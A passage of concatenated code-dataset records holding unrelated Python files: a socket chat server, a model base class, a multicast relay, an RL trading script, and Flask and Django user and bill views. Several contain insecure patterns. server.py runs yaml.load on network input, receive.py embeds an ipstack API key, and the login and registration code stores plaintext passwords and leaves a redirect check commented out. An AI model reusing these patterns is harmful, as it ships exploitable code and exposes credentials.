you\")\r\n\r\n\ttry:\r\n\t\t# Authentificating\r\n\t\tdata = receive(this_socket)\r\n\t\tassert data[0] == 0x1, \"0x1 was expected\"\r\n\t\tsend(this_socket, 0x2)\r\n\r\n\t\tdata = receive(this_socket)\r\n\t\tassert data[0] == 0x3, \"0x3 was expected\"\r\n\t\tassert data[1].isalpha(), \"the username must contain only alpha characters\"\r\n\t\tassert data[1] in users_db['users'], \"the username is not registered\"\r\n\t\tusers[id].set_username(data[1])\r\n\t\tsend(this_socket, 0x2)\r\n\r\n\t\tdata = receive(this_socket)\r\n\t\tassert data[0] == 0x5, \"0x5 was expected\"\r\n\t\tassert data[1] == users_db[users[id].get_username()]['password'], \"wrong password\"\r\n\t\tsend(this_socket, 0x2)\r\n\r\n\t\tsession(id)\r\n\r\n\texcept AssertionError as ex:\r\n\t\tprint(\"AssertionError:\", ex)\r\n\texcept Exception as ex:\r\n\t\tprint(\"Exception:\", ex)\r\n\r\n\r\ndef session(id):\r\n\tthis_socket = users[id].get_socket()\r\n\tprint(users[id].get_ip(), \"is now in session\")\r\n\r\n\tsend_toall((0x7, users[id].get_username()))\r\n\r\n\r\ndef send(user_id, data):\r\n\tif type(data) != tuple:\r\n\t\tdata = (data,)\r\n\r\n\tusers[user_id].get_socket().send((yaml.safe_dump(data) + \"\\n\").encode())\r\n\r\n\r\ndef send_toall(data, blackids): # TODO: Take in account dead socket\r\n\tif type(data) != tuple:\r\n\t\tdata = (data,)\r\n\tif type(blackids) != tuple:\r\n\t\tblackids = (blackids,)\r\n\r\n\tfor item in users:\r\n\t\tif item.get_id() in blackids:\r\n\t\t\tcontinue\r\n\r\n\t\titem.get_socket().send((yaml.safe_dump(data) + \"\\n\").encode())\r\n\r\n\r\ndef receive(client_socket):\r\n\treturn yaml.load(str(client_socket.recv(1024), encoding='utf-8'))\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n\r\n\r\n\"\"\"\r\nServer Local Error Protocol v*:\r\n\r\n\"\"\"\r\n\r\n\"\"\"\r\nAuth Protocol v0.1:\r\n\t0x1 - Client is ready to auth\r\n\t0x2 - Server is ready to *\r\n\r\n\t0x3 - Client username\r\n\t0x5 - Client password\r\n\r\n\t0x4 - (server) Unregistered username\r\n\t0x6 - (server) Wrong password\r\n\r\n\t0x7 - (server) new user connected\r\n\t\"\"\"\r\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"112409184","text":"import abc\nfrom typing import MutableMapping\n\nfrom bson import ObjectId\n\nfrom flags import ModelValidityCheckResult\nfrom extutils.checker import DecoParamCaster\nfrom models import OID_KEY\nfrom models.field import BaseField\nfrom extutils.utils import to_snake_case, to_camel_case\n\nfrom .exceptions import *\nfrom .field import ObjectIDField, ModelField\nfrom .warn import warn_keys_not_used, warn_field_key_not_found_for_json_key, warn_action_failed_json_key\n\n\nclass Model(MutableMapping, abc.ABC):\n \"\"\"\n Note:\n self._dict_ = {snake_case_field_key: field_instance, snake_case_field_key: field_instance...}\n \"\"\"\n SKIP_DEFAULT_FILLING = {\"Id\"}\n\n WITH_OID = True\n\n Id = ObjectIDField()\n\n def __init__(self, from_db=False, **kwargs):\n \"\"\"\n :param from_db: If the data of `kwargs` comes from the database.\n :param kwargs: Example:\n Field Keys: Model(FieldKey1=Thing, FieldKey2=Thing...)\n Json Keys: Model(json_key1=Thing, json_key2=Thing...)\n \"\"\"\n self.__dict__[\"_dict_\"] = {}\n\n if from_db:\n kwargs = self._json_to_field_kwargs_(**kwargs)\n else:\n kwargs = self._camelcase_kwargs_(**kwargs)\n\n self._input_kwargs_(**kwargs)\n\n not_handled = self._fill_default_vals_(self.model_fields() - {to_camel_case(k) for k in self._dict_.keys()})\n\n if len(not_handled) > 0:\n raise RequiredKeyUnfilledError(not_handled)\n\n self._check_validity_()\n\n unused_keys = kwargs.keys() - self.model_fields() - self.SKIP_DEFAULT_FILLING\n if len(unused_keys) > 0:\n warn_keys_not_used(self.__class__.__name__, unused_keys)\n\n def _input_kwargs_(self, **kwargs):\n for k, v in kwargs.items():\n if hasattr(self, k):\n self._inner_dict_create_(k, v)\n\n def _fill_default_vals_(self, not_filled):\n filled = set()\n\n for k in not_filled:\n if k in self.model_fields():\n if k not in self.SKIP_DEFAULT_FILLING:\n default_val = getattr(self, k).default_value\n if default_val != ModelDefaultValueExt.Required:\n if default_val != ModelDefaultValueExt.Optional:\n self._inner_dict_create_(k, default_val)\n\n filled.add(k)\n else:\n raise KeyNotExistedError(k, self.__class__.__name__)\n\n return not_filled - filled - self.SKIP_DEFAULT_FILLING\n\n def _check_validity_(self):\n result = self.perform_validity_check()\n\n if not result.is_success:\n self.on_invalid(result)\n\n def _inner_dict_create_(self, fk, v):\n if fk.lower() == \"id\" and self.WITH_OID:\n self._dict_[\"id\"] = self.Id.new(v)\n else:\n attr = getattr(self, to_camel_case(fk))\n\n if attr:\n self._dict_[to_snake_case(fk)] = attr.new(v)\n else:\n raise KeyNotExistedError(fk, self.__class__.__name__)\n\n def _inner_dict_get_(self, fk):\n if fk.lower() == \"id\":\n return self._dict_[\"id\"]\n else:\n return self._dict_[to_snake_case(fk)]\n\n def _inner_dict_update_(self, fk, v):\n if fk.lower() == \"id\" and self.WITH_OID:\n if not isinstance(v, ObjectId):\n v = ObjectId(v)\n\n if \"id\" in self._dict_:\n self._dict_[\"id\"].force_set(v)\n else:\n self._dict_[\"id\"] = self.Id.new(v)\n else:\n self._dict_[to_snake_case(fk)].value = v\n\n def __setitem__(self, jk, v) -> None:\n if jk in self.model_json():\n try:\n fk = self.json_key_to_field(jk)\n fd = self._inner_dict_get_(fk)\n\n if fd.base.key == jk:\n self._inner_dict_update_(fk, v)\n return\n except KeyError:\n if jk == OID_KEY:\n self._inner_dict_create_(self.json_key_to_field(jk), v)\n else:\n warn_field_key_not_found_for_json_key(self.__class__.__name__, jk, \"GET\")\n else:\n if jk == OID_KEY:\n if self.WITH_OID:\n self.set_oid(v)\n else:\n raise IdUnsupportedError(self.__class__.__name__)\n else:\n warn_action_failed_json_key(self.__class__.__name__, jk, \"SET\")\n\n def __setattr__(self, fk_sc, value):\n if to_camel_case(fk_sc) in self.model_fields():\n self._inner_dict_update_(fk_sc, value)\n\n raise KeyNotExistedError(fk_sc, self.__class__.__name__)\n\n def __getitem__(self, jk):\n # Must throw `KeyError` for `_id` if `_id` not defined. `pymongo` will check this to determine if\n # it needs to insert `_id`.\n if jk in self.model_json():\n fk = self.json_key_to_field(jk)\n fd = self._inner_dict_get_(fk)\n\n if fd.base.key == jk:\n return fd.value\n\n warn_field_key_not_found_for_json_key(self.__class__.__name__, jk, \"GET\")\n else:\n if jk == OID_KEY:\n if self.WITH_OID:\n return self.get_oid()\n else:\n raise IdUnsupportedError(self.__class__.__name__)\n else:\n # The key may be field_key (For Django template)\n try:\n return self.__getattr__(to_snake_case(self.json_key_to_field(jk)))\n except AttributeError:\n warn_action_failed_json_key(self.__class__.__name__, jk, \"GET\")\n\n return None\n\n def __getattr__(self, fk_sc):\n try:\n fd = self._inner_dict_get_(fk_sc)\n\n if fd:\n return fd.value\n except KeyError:\n pass\n\n raise AttributeError(fk_sc)\n\n def __delitem__(self, v) -> None:\n delattr(self._dict_, v)\n\n def __len__(self) -> int:\n return len(self._dict_)\n\n def __iter__(self):\n self.pre_iter()\n self._check_validity_()\n for v in self._dict_.values():\n yield v.base.key\n\n def pre_iter(self):\n pass\n\n def perform_validity_check(self) -> ModelValidityCheckResult:\n return ModelValidityCheckResult.default()\n\n def on_invalid(self, reason=ModelValidityCheckResult.X_UNCATEGORIZED):\n raise InvalidModelError(self.__class__.__name__, reason)\n\n def is_field_none(self, fk, raise_on_not_exists=True):\n try:\n return self._inner_dict_get_(fk).is_none()\n except KeyError:\n if raise_on_not_exists:\n raise KeyNotExistedError(fk, self.__class__.__name__)\n else:\n return True\n\n @DecoParamCaster({1: ObjectId})\n def set_oid(self, oid):\n self._inner_dict_update_(\"Id\", oid)\n\n def get_oid(self):\n return self._inner_dict_get_(\"Id\").value\n\n def clear_oid(self):\n if \"Id\" in self._dict_:\n del self._dict_[\"Id\"]\n\n def to_json(self):\n d = {}\n\n for k, v in self._dict_.items():\n d[v.base.key] = v.value.to_json() if isinstance(v.base, ModelField) else v.value\n\n return d\n\n @classmethod\n def model_fields(cls) -> set:\n if not hasattr(cls, \"_CacheField\") or cls.__name__ not in cls._CacheField:\n s = {k for k, v in cls.__dict__.items() if cls._valid_model_key_(k)}\n if cls.WITH_OID:\n s.add(\"Id\")\n\n cls._CacheField = {cls.__name__: s}\n\n return cls._CacheField[cls.__name__]\n\n @classmethod\n def model_json(cls) -> set:\n if not hasattr(cls, \"_CacheJson\") or cls.__name__ not in cls._CacheJson:\n s = {v.key for fk, v in cls.__dict__.items() if cls._valid_model_key_(fk)}\n if cls.WITH_OID:\n s.add(cls.Id.key)\n\n cls._CacheJson = {cls.__name__: s}\n\n return cls._CacheJson[cls.__name__]\n\n @classmethod\n def json_key_to_field(cls, json_key) -> str:\n if not hasattr(cls, \"_CacheToField\") or cls.__name__ not in cls._CacheToField:\n d = {v.key: fk for fk, v in cls.__dict__.items() if cls._valid_model_key_(fk)}\n if cls.WITH_OID:\n d[OID_KEY] = \"Id\"\n\n cls._CacheToField = {cls.__name__: d}\n\n return cls._CacheToField[cls.__name__].get(json_key)\n\n @classmethod\n def generate_default(cls):\n return cls()\n\n @classmethod\n def _valid_model_key_(cls, fk):\n if fk.lower() == \"Id\":\n return cls.WITH_OID\n else:\n return fk[0].isupper() and not fk.isupper() and \\\n fk in cls.__dict__ and isinstance(cls.__dict__[fk], BaseField)\n\n @staticmethod\n def _camelcase_kwargs_(**kwargs):\n tmp = {}\n\n for k, v in kwargs.items():\n ck = to_camel_case(k)\n tmp[k if k == ck else ck] = v\n\n return tmp\n\n @classmethod\n def _json_to_field_kwargs_(cls, **kwargs):\n tmp = {}\n\n for k, v in kwargs.items():\n fk = cls.json_key_to_field(k) # Filter unrelated json keys\n if fk:\n tmp[fk] = v\n\n return tmp\n\n def __repr__(self):\n return f\"<{self.__class__.__name__}: {self._dict_}>\"\n\n\nclass ModelDefaultValueExtItem:\n def __init__(self, s):\n self._name = s\n\n def __repr__(self):\n return f\"\"\n\n\nclass ModelDefaultValueExt:\n Required = ModelDefaultValueExtItem(\"Required\")\n Optional = ModelDefaultValueExtItem(\"Optional\")\n","sub_path":"models/_base.py","file_name":"_base.py","file_ext":"py","file_size_in_byte":9592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"475918839","text":"import socket\nimport struct\nimport sys\nimport json\nimport datetime\nimport requests\nimport math\n \ndef getCoord():\n send_url = 'http://api.ipstack.com/check?access_key=40132d177eb8526286574cccdd93d96c'\n r = requests.get(send_url)\n j = json.loads(r.text)\n lat = j['latitude']\n lon = j['longitude']\n\n return lat, lon\n\n\ndef caldist(destlatitude, destlongitude):\n #calculating the geographical distance using the latiude and longitude of both my computer and destination\n #the earth is abstracted in to a sphere\n distance = 0\n earthR = 6371.0 #the radius of earth is abstracted t o 6371 kilometers in this program\n \n # myla, mylo = getCoord()\n myla = -7.37929\n mylo = 112.7040363\n\n myla = math.radians(myla)\n mylo = math.radians(mylo)\n destla = math.radians(destlatitude)\n destlo = math.radians(destlongitude)\n deltaphi = myla - destla\n deltalambda = mylo - destlo\n phim = (myla + destla)/2\n distance = earthR*math.sqrt(math.pow(deltaphi,2) + (math.cos(phim)*math.pow(deltalambda,2)))\n return distance\n\nmulticast_group = '224.3.29.71'\nserver_address = ('', 10000)\n\n# Create the socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n# Bind to the server address\nsock.bind(server_address)\n\n# Tell the operating system to add the socket to the multicast group\n# on all interfaces.\ngroup = socket.inet_aton(multicast_group)\nmreq = struct.pack('4sL', group, socket.INADDR_ANY)\nsock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n\nuuids = []\nmessages = []\n\nprint('sending acknowledgement to', ('224.3.29.71', 10000))\nmessage = 'ack'\nsock.sendto(message.encode('UTF-8'), ('224.3.29.71', 10000))\n\nlat_from = -7.2660835\nlon_from = 112.7938518\n\nnext_group_addr = ('224.3.29.72', 9999)\n\n# Receive/respond loop\nwhile True:\n print('waiting to receive message')\n data, address = sock.recvfrom(1024)\n\n try:\n data = json.loads(data)\n except:\n data = data.decode()\n \n # if (address != socket.gethostbyname(socket.gethostname())):\n if(data == 'ack'):\n print('received %s bytes from %s' % (data, address))\n for message in messages:\n # lat_from = data['coord']['lat']\n # lon_from = data['coord']['lon']\n distance = caldist(lat_from, lon_from)\n\n if(distance <= float(message['dist_threshold'])):\n if(datetime.datetime.strptime(message['expired_at'], '%Y-%m-%d %H:%M:%S.%f') > datetime.datetime.now()):\n print('sending message to', address)\n sock.sendto(json.dumps(message).encode('UTF-8'), address)\n else:\n messages.remove(message)\n uuids.remove(message['uuid'])\n else:\n # lat_from = data['coord']['lat']\n # lon_from = data['coord']['lon']\n distance = caldist(lat_from, lon_from)\n\n if(distance <= float(data['dist_threshold'])):\n if(datetime.datetime.strptime(data['expired_at'], '%Y-%m-%d %H:%M:%S.%f') > datetime.datetime.now()):\n if(data['uuid'] not in uuids):\n uuids.append(data['uuid'])\n messages.append(data)\n\n print('received %s bytes from %s with distance %s' % (data, address, distance))\n print(\". . .\")\n\n if(int(data['hop']) - 1 > 0):\n data['hop'] = int(data['hop']) - 1\n sock.sendto(json.dumps(data).encode('UTF-8'), next_group_addr)\n else:\n print(\"batas hop, tidak meneruskan ke next address\")","sub_path":"receive.py","file_name":"receive.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"258926276","text":"import numpy as np\nfrom itertools import count\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.distributions import Categorical\n\nimport matplotlib\nmatplotlib.use('module://matplotlib-backend-kitty')\nimport matplotlib.pyplot as plt\n\nfrom tcn.wavenet_nn import WaveNetNN\nfrom environment import Environment\n\nGAMMA = 0.99\nEPISODES = 100000\n\n\nclass Policy(nn.Module):\n\n def __init__(self):\n super(Policy, self).__init__()\n\n self.tcn = WaveNetNN(layers=6,\n blocks=4,\n dilation_channels=32,\n residual_channels=32,\n skip_channels=128,\n end_channels=128,\n input_channels=1,\n output_channels=128,\n classes=1,\n output_length=1,\n kernel_size=2)\n\n self.pad = nn.ConstantPad1d((0, 200), 0.0)\n\n self.value_head = nn.Linear(128, 1)\n self.action_head = nn.Linear(128, 2)\n\n self.saved_actions = list()\n self.rewards = list()\n\n def forward(self, x):\n\n x = x.reshape((1, 1, x.shape[1]))\n\n x = self.pad(x)\n x = x[:, :, -200:]\n\n x = self.tcn(x)\n\n action = F.softmax(self.action_head(x), dim=-1)\n value = self.value_head(x)\n\n return action, value\n\n\nmodel = Policy()\noptimizer = optim.Adam(model.parameters(), lr=3e-2)\neps = np.finfo(np.float32).eps.item()\n\n\ndef select_action(state):\n\n state = state[:, -200:, :]\n\n probs, state_value = model(state)\n\n m = Categorical(probs)\n\n action = m.sample()\n\n model.saved_actions.append((m.log_prob(action), state_value))\n\n return action.item()\n\n\ndef finish_episode():\n\n R = 0\n saved_actions = model.saved_actions\n policy_losses = list()\n value_losses = list()\n returns = list()\n\n for r in model.rewards[::-1]:\n R = r + GAMMA * R\n returns.insert(0, R)\n\n returns = torch.tensor(returns)\n returns = (returns - returns.mean()) / (returns.std() + eps)\n\n for (log_prob, value), R in zip(saved_actions, returns):\n advantage = R - value.item()\n\n policy_losses.append(-log_prob * advantage)\n\n# print(value.shape)\n# print(torch.tensor([R, ]).shape)\n# exit()\n value_losses.append(F.smooth_l1_loss(value, torch.tensor([R]).reshape_as(value)))\n\n optimizer.zero_grad()\n\n loss = torch.stack(policy_losses).sum() + torch.stack(value_losses).sum()\n\n loss.backward()\n optimizer.step()\n\n del model.rewards[:]\n del model.saved_actions[:]\n\n\nenv = Environment(trade_penalty=1e-3)\n\n\ndef main():\n\n running_reward = 10\n\n avg_rewards = list()\n last_rewards = list()\n episodes = list()\n\n for episode in range(EPISODES):\n\n state = env.reset()\n episode_reward = 0\n\n done = False\n while not done:\n\n action = select_action(state)\n\n state, reward, done = env.step(action)\n\n model.rewards.append(reward)\n episode_reward += reward\n\n running_reward = 0.05 * episode_reward + (1 - 0.05) * running_reward\n\n finish_episode()\n\n episodes.append(episode)\n avg_rewards.append(running_reward)\n last_rewards.append(episode_reward)\n\n fig, (ax1, ax2) = plt.subplots(2, 1)\n\n prices = env.prices\n ax1.plot(np.arange(len(prices)), prices, color='black', linewidth=0.2)\n\n ax1.plot(np.arange(len(prices)), env.ema6, color='red', linewidth=0.5)\n ax1.plot(np.arange(len(prices)), env.ema12, color='blue', linewidth=0.5)\n ax1.plot(np.arange(len(prices)), 5 * env.macd + np.mean(env.prices), color='magenta', linewidth=0.5)\n ax1.plot((0, len(prices) - 1), (np.mean(env.prices), np.mean(prices)), color='black', linewidth=0.2)\n\n for idx, action in enumerate(env.actions):\n i = idx + 0\n if action == 0:\n color = 'red'\n else:\n color = 'green'\n\n# ax1.plot(tuple(range(i, i + 2)), prices[i:i + 2], color=color, linewidth=0.4)\n\n if len(env.buy_pts) > 0:\n ax1.scatter(*(zip(*env.buy_pts)), color='green', s=8)\n if len(env.sell_pts) > 0:\n ax1.scatter(*(zip(*env.sell_pts)), color='red', s=8)\n\n ax2.plot(episodes, last_rewards, linewidth=0.4)\n ax2.plot(episodes, avg_rewards, linewidth=0.5)\n\n plt.show()\n\n print('Episode {}, last reward: {}, avg. reward: {}'.format(\n episode, episode_reward, running_reward))\n print(f'Buy: {len(env.buy_pts)}, sell: {len(env.sell_pts)}')\n print(f'Net: {env.net}')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/rl/ac1.py","file_name":"ac1.py","file_ext":"py","file_size_in_byte":4794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"291276254","text":"# coding=utf-8\nimport io\nimport os\nfrom os.path import join, dirname\n\n\nDEFAULT_ENV = 'development'\nAPP_ENV = 'APP_ENV'\nENV_FILE = join(dirname(__file__), '..', '..', '.APP_ENV')\n\n\ndef get_env(default=DEFAULT_ENV):\n env = os.getenv(APP_ENV)\n if env:\n return env.strip()\n try:\n with io.open(ENV_FILE, 'rt') as f:\n env = f.read()\n os.environ[APP_ENV] = env\n return env.strip()\n except IOError:\n return default\n\n\ndef env_is(env):\n curr_env = get_env()\n return curr_env == env\n\n\nif env_is('production'):\n from .production import *\nelse:\n from .development import *\n\n# Import local settings\ntry:\n from .local import *\nexcept ImportError:\n pass\n\nif env_is('pytest'):\n from .pytest import *\n","sub_path":"webapp/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"240152469","text":"\nimport string, random\n\nfrom flask import Blueprint\nfrom flask import request, jsonify\nfrom urllib.parse import urlparse, urljoin\nfrom flask_login import login_user, login_required, logout_user, current_user\n\nfrom ..models.user_model import *\nfrom ..utils.usually_req import *\n\nuser = Blueprint('user', __name__)\n\ndef is_safe_url(target):\n ref_url = urlparse(request.host_url)\n test_url = urlparse(urljoin(request.host_url, target))\n return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc\n\n# 登录接口\n@user.route('/login', methods=['GET', 'POST'])\ndef login():\n # 假设通过数据库验证\n if request.method == 'POST' and request.get_json(force=True):\n resJson = request.get_json(force=True)\n print(resJson)\n username = resJson[\"username\"]\n password = resJson[\"password\"]\n # 验证表单,数据库\n user = query_user(username)\n if user and password == user.passward:\n # curr_user 是 User类的一个实例\n curr_user = User(user)\n curr_user.id = query_user(username).user_id\n # 通过 Flask-login的login_user来登录账户\n login_user(curr_user)\n nextD = request.args.get('next')\n print(nextD)\n # is_safe_url 用来检查url是否可以安全的重定向\n # 避免重定向攻击\n # if not is_safe_url(nextD):\n # return abort(404)\n # return redirect(next or url_for('index'))\n # return redirect(url_for('user.index'))\n response = make_response(jsonify(get_res_common_struct(100000, \"登录成功\",{})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n\n response = make_response(jsonify(get_res_common_struct(100001, \"账号或密码错误\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n else:\n response = make_response(jsonify(get_res_common_struct(100002, \"登录请求方式/传输数据格式不正确\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n\n# 注册接口\n@user.route('/register', methods=['GET', 'POST'])\ndef register():\n if request.method != 'POST' or not request.get_json(force=True):\n response = make_response(jsonify(get_res_common_struct(110002, \"注册请求方式/传输数据格式不正确\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n resJson = request.get_json(force=True)\n print(resJson)\n username = resJson[\"username\"]\n password = resJson[\"password\"]\n confirm = resJson[\"confirm\"]\n nickname = resJson[\"nickname\"]\n if password != confirm:\n response = make_response(jsonify(get_res_common_struct(110003, \"注册前后密码不一致\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n user = query_user(username)\n if user:\n response = make_response(jsonify(get_res_common_struct(110004, \"用户已存在\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n\n user_id = ''\n is_repeat = True\n while is_repeat:\n seeds = string.digits\n random_str = random.choices(seeds, k=8)\n print(\"\".join(random_str))\n user_id = \"\".join(random_str)\n user = query_user_by_user_id(user_id)\n if user is None:\n is_repeat = False\n # 操作提交数据\n db.session.add(UserList(username=username, user_id=user_id, passward=password, nick_name=nickname))\n db.session.commit()\n\n new_user = query_user(username)\n if new_user:\n curr_user = User(new_user)\n curr_user.id = query_user(username).user_id\n # 通过 Flask-login的login_user来登录账户\n login_user(curr_user)\n response = make_response(jsonify(get_res_common_struct(110000, \"注册成功\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n response = make_response(jsonify(get_res_common_struct(110005, \"注册失败\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n\n\n@user.route('/message', methods=['GET', 'POST'])\n@login_required\ndef message():\n '''\n 返回用户信息\n :return:\n '''\n print(\"hahaha\")\n print(current_user.username)\n message_dict = {\n \"username\": current_user.username,\n \"user_id\": current_user.user_id,\n \"nick_name\": current_user.nick_name,\n \"user_icon\": \"\",\n \"user_message\": \"\",\n }\n response = make_response(jsonify(get_res_common_struct(120000, \"用户信息获取成功\", message_dict)), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n\n# 验证是否登录成功\n@user.route('/checklogin', methods=['GET', 'POST'])\n@login_required\ndef personal():\n response = make_response(jsonify(get_res_common_struct(100004, \"用户已经登录\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n\n# 登出\n@user.route('/logout', methods=['GET', 'POST'])\n@login_required\ndef logout():\n logout_user()\n response = make_response(jsonify(get_res_common_struct(100003, \"退出登录成功\", {})), 200)\n response = set_req_header_fix_cross_domain(response, \"POST\")\n return response\n\n","sub_path":"kayle_be/app/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":5502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"281757160","text":"import mxnet\nfrom mxnet import nd\nfrom mxnet.gluon import nn\nimport numpy as np\n\n\nclass AnchorGenerator(nn.HybridBlock):\n\n def __init__(self, stride, scales, ratios, alloc_size, **kwargs):\n super(AnchorGenerator, self).__init__(**kwargs)\n anchors = _generate(stride, scales, ratios, alloc_size)\n self.anchors = self.params.get_constant(\"anchor_\", anchors)\n\n def hybrid_forward(self, F, x, anchors):\n # anchors (B=1, C=1, H, W, N*4)\n anchors = F.slice_like(anchors, x, axes=(2, 3))\n anchors = F.squeeze(anchors, axis=(0, 1)) # anchors (H, W, N*4)\n return anchors.reshape((0, 0, -1, 4)) # anchors (H, W, N, 4)\n\n\ndef _generate(stride, scales, ratios, alloc_size):\n scales = np.array(scales).reshape(-1, 1)\n ratios = np.array(ratios)\n w = np.sqrt(scales * ratios)\n h = np.sqrt(scales / ratios)\n w = w.reshape(-1, 1)\n h = h.reshape(-1, 1)\n wh = np.hstack([-w, -h, w, h])\n\n center = stride / 2\n center = np.array([center, center, center, center]).reshape(-1, 4)\n base_anchors = center + wh / 2\n\n x = np.arange(alloc_size[0]) * stride\n y = np.arange(alloc_size[1]) * stride\n x, y = np.meshgrid(x, y)\n offset_xy = np.stack([x.ravel(), y.ravel(), x.ravel(), y.ravel()], axis=1)\n\n anchors = offset_xy.reshape((-1, 1, 4)) + base_anchors # anchors (HW, N, 4)\n # the num dims is no more than 6 to better debug\n anchors = anchors.reshape((1, 1, alloc_size[0], alloc_size[1], -1)) # anchors (B=1, C=1, H, W, N*4)\n return anchors.astype(np.float32)\n","sub_path":"model/rpn/anchor.py","file_name":"anchor.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553060540","text":"from split_bills_app.api import serializers\nfrom rest_framework.permissions import IsAuthenticated\nfrom django.contrib.auth.models import User\nfrom rest_framework import viewsets\nfrom rest_framework import status\nfrom split_bills_app.models import Group, Bill, CustomUser\nfrom rest_framework.response import Response\nfrom django.http import HttpResponseRedirect, HttpResponse\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows users to be viewed or edited.\n \"\"\"\n # permission_classes = (IsAuthenticated,)\n serializer_class = serializers.UserSerializer\n\n def get_queryset(self):\n \"\"\"\n Return all users\n \"\"\"\n return User.objects.all()\n\n def create(self, request, *args):\n user = request.data\n new_user = User.objects.create(\n username=user.get(\"username\",\"None\")\n )\n new_user.set_password(user.get(\"password\",\"None\"))\n new_user.save()\n\nclass CustomUserViewSet(viewsets.ModelViewSet):\n # permission_classes = (IsAuthenticated,)\n serializer_class = serializers.CustomUserSerializer\n\n def get_queryset(self):\n return CustomUser.objects.all()\n\n def create(self, request, *args):\n userdata = request.data\n new_user = CustomUser(username=userdata.get(\"username\",\"None\"), password=userdata.get(\"password\",\"None\"))\n new_user.save()\n\nclass GroupViewSet(viewsets.ModelViewSet):\n \"\"\"\n group view set\n \"\"\"\n# permission_classes = (IsAuthenticated,)\n serializer_class = serializers.GroupSerializer\n\n def get_queryset(self):\n \"\"\"\n Filter groups based on logged in user\n \"\"\"\n groups = []\n groupname = self.request.query_params.get('groupname', None)\n if groupname:\n groups = Group.objects.filter(name=groupname)\n if not groups:\n raise Exception(\"Group - {} name not valid\".format(groupname))\n else:\n groups = Group.objects.all()\n return groups\n\n def create(self, request):\n \"\"\"\n Get the members from db based on requested group member set\n Creat a Group\n Add members to the group\n \"\"\"\n group = request.data\n users = []\n for i in group['members']:\n users.append(i['username'])\n members = CustomUser.objects.filter(username__in=users)\n new_group = Group(name=group['name'])\n new_group.save()\n for member in members:\n new_group.members.add(member)\n\n def update(self, request, *args, **kwargs):\n \"\"\"\n Get the members from db based on requested group member set\n Creat a Group\n Add members to the group\n \"\"\"\n req_data = request.data\n group_name = req_data.get(\"name\", None)\n members = req_data.get(\"members\", None)\n \n try:\n group = Group.objects.get(name=group_name)\n except Exception as ex:\n return Exception(\"Group name does not exits.\")\n\n users = []\n for member in members:\n users.append(member['username'])\n group_members = User.objects.filter(username__in=users)\n\n group.members.clear()\n for member in group_members:\n group.members.add(member)\n\nclass BillViewSet(viewsets.ModelViewSet):\n \"\"\"\n Bill view set\n \"\"\"\n# permission_classes = (IsAuthenticated,)\n serializer_class = serializers.BillSerializer\n\n def get_queryset(self):\n \"\"\"\n Get bill based on query string group name\n \"\"\"\n bills = []\n groupname = self.request.query_params.get('groupname', None)\n if groupname:\n try:\n group = Group.objects.get(name=groupname)\n bill = Bill.objects.filter(group=group)\n except Exception as ex:\n raise Exception(ex)\n else:\n bill = Bill.objects.all()\n return bill\n\n def create(self, request):\n \"\"\"\n read bill name and other data from post data\n find group and paid_by user object\n Creat a bill\n \"\"\"\n bill = request.data\n print(request.data)\n try:\n paid_by = CustomUser.objects.get(username=bill['paid_by']['username'])\n except Exception as ex:\n raise Exception(\"Paid by user - {} doesn't exists.\".format(bill['paid_by']))\n\n split_between = []\n for i in bill['split_between']:\n split_between.append(i['username'])\n\n users = CustomUser.objects.filter(username__in=split_between)\n\n try:\n group = Group.objects.get(name=bill['group']['name'])\n except Exception as ex:\n raise Exception(\"Bill group - {} doesn't exists.\".format(bill['group']['name']))\n\n new_bill = Bill(name=bill['name'], group=group, paid_by=paid_by, amount=bill['amount'], added_on=bill['added_on'])\n new_bill.save()\n for user in users:\n new_bill.split_between.add(user)\n\n def update(self, request, *args, **kwargs):\n \"\"\"\n Get the members from db based on requested group member set\n Creat a Group\n Add members to the group\n \"\"\"\n bill = request.data\n name = bill.get(\"name\", None)\n split_between = bill.get(\"split_between\", None)\n group_name = bill.get(\"group\", None)\n amount = bill.get(\"amount\", None)\n object_id = request.data.get(\"id\", None)\n\n if not split_between and not group_name and not amount and not name:\n raise Exception(\"split_between, group, amount and name are required parameter.\")\n\n\n groups = Group.objects.filter(name=group_name[\"name\"])\n\n if not groups:\n raise Exception(\"Group name does not exists.\")\n group = groups[0]\n\n try:\n paid_by = CustomUser.objects.get(username=bill['paid_by']['username'])\n except Exception as ex:\n raise Exception(\"Paid by user doesn't exists.\")\n\n try:\n bill = 